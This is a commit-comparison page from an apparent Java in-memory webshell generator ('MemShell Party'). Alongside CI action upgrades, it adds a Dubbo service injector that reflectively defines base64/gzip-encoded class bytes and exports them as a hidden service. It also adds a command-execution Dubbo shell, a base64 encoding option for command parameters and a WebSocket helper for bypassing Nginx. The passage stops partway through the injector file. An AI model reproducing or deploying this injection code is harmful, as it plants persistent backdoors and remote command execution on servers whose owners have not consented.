Compare commits

..
12 Commits
Author SHA1 Message Date
ReaJason dbd9687003 ci: upgrade actions
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-04-26 22:57:39 +08:00
ReaJason 886c37d8c2 chore: 2.7.0 2026-04-26 22:39:30 +08:00
ReaJason 06feb3fe14 docs: update CHANGELOG 2026-04-26 21:33:15 +08:00
ReaJason cb195715c0 fix: assertion failed 2026-04-26 21:33:15 +08:00
ReaJason 036887d806 fix: try fix windows build failed 2026-04-26 21:33:15 +08:00
ReaJason 11794f9465 build: fumadoc build failed 2026-04-26 21:33:15 +08:00
ReaJason e7e97089ce chore: 2.6.2-SNAPSHOT 2026-04-26 21:33:15 +08:00
ReaJason ee560ff7ee style: fmt code 2026-04-26 21:33:15 +08:00
ReaJason d10323a054 feat: support Alibaba & Apache dubbo service 2026-04-26 21:33:15 +08:00
ReaJason 016d0d5bbe chore: use tomcat-embed-core dep 2026-04-26 21:33:15 +08:00
ReaJason 666aed90c3 feat: support command base64 encryptor 2026-04-26 21:33:15 +08:00
ReaJason 8962c855c9 feat: support agent attacher list java processes and attach all 2026-04-26 21:33:15 +08:00
215 changed files with 3776 additions and 2585 deletions
+12 -12
View File
@@ -17,16 +17,16 @@ jobs:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v4
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
uses: gradle/actions/setup-gradle@v6
- name: Setup Node
uses: actions/setup-node@v6
@@ -62,28 +62,28 @@ jobs:
needs: [ build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Download Boot Jar
uses: actions/download-artifact@v4
uses: actions/download-artifact@v8
with:
name: boot
path: boot/build/libs
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Build and push
uses: docker/build-push-action@v6
uses: docker/build-push-action@v7
with:
context: boot
platforms: linux/amd64,linux/arm64
@@ -95,15 +95,15 @@ jobs:
needs: [ build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v4
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle
env:
+1 -1
View File
@@ -22,7 +22,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
+5 -5
View File
@@ -15,21 +15,21 @@ jobs:
name: Docker Push
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Build and push RedQueen
uses: docker/build-push-action@v6
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64,linux/arm64
@@ -54,16 +54,16 @@ jobs:
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v4
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
+4 -4
View File
@@ -48,16 +48,16 @@ jobs:
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v4
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
@@ -66,7 +66,7 @@ jobs:
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
uses: mikepenz/action-junit-report@v6
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+15 -15
View File
@@ -14,7 +14,7 @@ jobs:
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
changelog: ${{ steps.get_changelog.outputs.changelog }}
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Get Version
id: get_version
@@ -36,16 +36,16 @@ jobs:
name: Build Jar
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v4
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
uses: gradle/actions/setup-gradle@v6
- name: Setup Node
uses: actions/setup-node@v6
@@ -75,7 +75,7 @@ jobs:
needs: [ info, build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Download Boot Jar
uses: actions/download-artifact@v4
@@ -84,26 +84,26 @@ jobs:
path: boot/build/libs
- name: Login to GitHub Container Registry
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Build and push
uses: docker/build-push-action@v6
uses: docker/build-push-action@v7
with:
context: boot
platforms: linux/amd64,linux/arm64
@@ -115,7 +115,7 @@ jobs:
ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen
uses: docker/build-push-action@v6
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64,linux/arm64
@@ -130,15 +130,15 @@ jobs:
name: Deploy to Maven Central
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v4
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle
env:
@@ -156,7 +156,7 @@ jobs:
permissions:
contents: write
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Download Boot Jar
uses: actions/download-artifact@v4
@@ -22,16 +22,16 @@ jobs:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v4
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }}
+3 -3
View File
@@ -17,16 +17,16 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v4
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
uses: gradle/actions/setup-gradle@v6
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
}
}
version = "2.6.1"
version = "2.7.0"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
+3
View File
@@ -37,7 +37,10 @@ dependencies {
implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc)
implementation(libs.spring.webflux)
implementation(libs.tomcat.embed.core)
implementation(libs.reactor.netty.core)
implementation(libs.alibaba.dubbo)
implementation(libs.apache.dubbo)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna)
@@ -21,4 +21,5 @@ public class Server {
public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2";
public static final String Dubbo = "Dubbo";
}
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -15,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Strings;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
@@ -60,20 +63,36 @@ public class MemShellGenerator {
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(interfaceName);
}
}
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
String helperClassName = shellToolConfig.getShellClassName() + "$1";
injectorConfig.setInjectorHelperClassName(helperClassName);
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
}
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "1")
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion())
@@ -47,6 +47,7 @@ public class ServerFactory {
register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
@@ -162,6 +163,8 @@ public class ServerFactory {
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -50,4 +50,8 @@ public class ShellType {
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action";
public static final String DUBBO_SERVICE = "DubboService";
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
}
@@ -91,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
}
public enum Encryptor {
RAW, DOUBLE_BASE64;
RAW, BASE64, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64;
}
if (encryptor != null && encryptor.equals("BASE64")) {
return BASE64;
}
return RAW;
}
}
@@ -27,6 +27,12 @@ public class InjectorConfig {
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/**
* 注入访问的地址
*/
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class DubboServiceInterfaceHelperGenerator {
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
.redefine(ShellDubboService.class)
.name(interfaceName)
.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair;
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2026/1/13
*/
public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
@@ -31,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue())
.name(CommonUtil.generateClassName());
.name(helperClassName);
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
/**
* @author ReaJason
* @since 2025/4/27
*/
public class Base64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(param);
}
}
@@ -42,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
@@ -0,0 +1,451 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import com.alibaba.dubbo.common.URL;
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
import com.alibaba.dubbo.common.utils.ClassHelper;
import com.alibaba.dubbo.config.*;
import com.alibaba.dubbo.config.model.ApplicationModel;
import com.alibaba.dubbo.config.model.ProviderModel;
import javassist.ClassPool;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.zip.GZIPInputStream;
public class AlibabaDubboServiceInjector {
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public AlibabaDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + stackTrace(e);
}
ok = true;
System.out.println(msg);
}
public String registerService() throws Exception {
String servicePath = normalizePath(getUrlPattern());
if (servicePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
return resolveServiceAddresses(servicePath);
}
Class<?> serviceInterface = loadClass(getHelperBase64String());
Class<?> serviceImpl = loadClass(getBase64String());
validateServiceTypes(serviceInterface, serviceImpl);
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
return resolveServiceAddresses(servicePath);
}
try {
serviceConfig.export();
return resolveServiceAddresses(servicePath);
} catch (RuntimeException e) {
dynamicServices.remove(servicePath, serviceConfig);
throw e;
}
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, classBytes);
return loadedClass;
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
// Defining the package is a convenience for older class loaders. The class can still load without it.
}
}
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
classPool.makeClass(new ByteArrayInputStream(classBytes));
} catch (Throwable ignored) {
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
}
}
private static byte[] decodeBase64(String value) throws Exception {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
}
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
GZIPInputStream inputStream = null;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try {
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
byte[] buffer = new byte[4096];
int read;
while ((read = inputStream.read(buffer)) > 0) {
outputStream.write(buffer, 0, read);
}
return outputStream.toByteArray();
} finally {
if (inputStream != null) {
inputStream.close();
}
outputStream.close();
}
}
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
if (!serviceInterface.isInterface()) {
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
}
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
}
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
}
}
private Object instantiate(Class<?> serviceImpl) {
try {
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
serviceConfig.setInterface(serviceInterface);
serviceConfig.setRef(serviceImpl);
serviceConfig.setPath(servicePath);
ProviderConfig providerConfig = findProviderConfig();
if (providerConfig != null) {
serviceConfig.setProvider(providerConfig);
if (notEmpty(providerConfig.getVersion())) {
serviceConfig.setVersion(providerConfig.getVersion());
}
}
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
if (!protocolConfigs.isEmpty()) {
serviceConfig.setProtocols(protocolConfigs);
}
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
if (!registryConfigs.isEmpty()) {
serviceConfig.setRegistries(registryConfigs);
}
return serviceConfig;
}
private ServiceConfig<?> findRegisteredService(String servicePath) {
String normalizedPath = normalizePath(servicePath);
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
return serviceConfig;
}
}
return null;
}
private ProviderConfig findProviderConfig() {
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig != null && serviceConfig.getProvider() != null) {
return serviceConfig.getProvider();
}
}
return null;
}
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
if (providerConfig != null && providerConfig.getApplication() != null) {
return providerConfig.getApplication();
}
for (ProviderModel providerModel : providerModels()) {
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
if (serviceConfig.getApplication() != null) {
return serviceConfig.getApplication();
}
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
return serviceConfig.getProvider().getApplication();
}
}
return null;
}
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
addProtocols(protocols, serviceConfig.getProtocols());
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
}
return uniqueProtocols(protocols);
}
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
for (ProviderModel providerModel : providerModels()) {
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
if (serviceConfig == null) {
continue;
}
registries = registries(serviceConfig.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ProviderConfig serviceProvider = serviceConfig.getProvider();
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
ApplicationConfig serviceApplication = serviceConfig.getApplication();
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
if (!registries.isEmpty()) {
return registries;
}
}
return new ArrayList<RegistryConfig>();
}
private String resolveServiceAddresses(String servicePath) {
String normalizedPath = normalizePath(servicePath);
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
if (serviceConfig == null) {
serviceConfig = findRegisteredService(normalizedPath);
}
if (serviceConfig == null) {
return normalizedPath;
}
List<URL> exportedUrls = serviceConfig.getExportedUrls();
if (exportedUrls != null && !exportedUrls.isEmpty()) {
return formatUrls(exportedUrls);
}
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
}
if (protocols.isEmpty()) {
return normalizedPath;
}
return formatProtocolAddresses(protocols, normalizedPath);
}
private String formatUrls(List<URL> urls) {
StringBuilder builder = new StringBuilder();
for (URL url : urls) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatUrl(url));
}
return builder.toString();
}
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
StringBuilder builder = new StringBuilder();
for (ProtocolConfig protocol : protocols) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatProtocolAddress(protocol, path));
}
return builder.toString();
}
private String formatUrl(URL url) {
String path = normalizePath(url.getPath());
int port = url.getPort();
return port > 0
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
}
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
Integer port = protocol.getPort();
return port != null && port > 0
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
}
private List<ProviderModel> providerModels() {
try {
return ApplicationModel.allProviderModels();
} catch (Throwable ignored) {
return new ArrayList<ProviderModel>();
}
}
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
if (source != null) {
target.addAll(source);
}
}
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
if (protocols != null) {
for (ProtocolConfig protocol : protocols) {
if (protocol != null) {
unique.put(protocolKey(protocol), protocol);
}
}
}
return new ArrayList<ProtocolConfig>(unique.values());
}
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
}
private String protocolKey(ProtocolConfig protocol) {
return String.valueOf(protocol.getName())
+ "|"
+ String.valueOf(protocol.getHost())
+ "|"
+ String.valueOf(protocol.getPort())
+ "|"
+ String.valueOf(protocol.getServer())
+ "|"
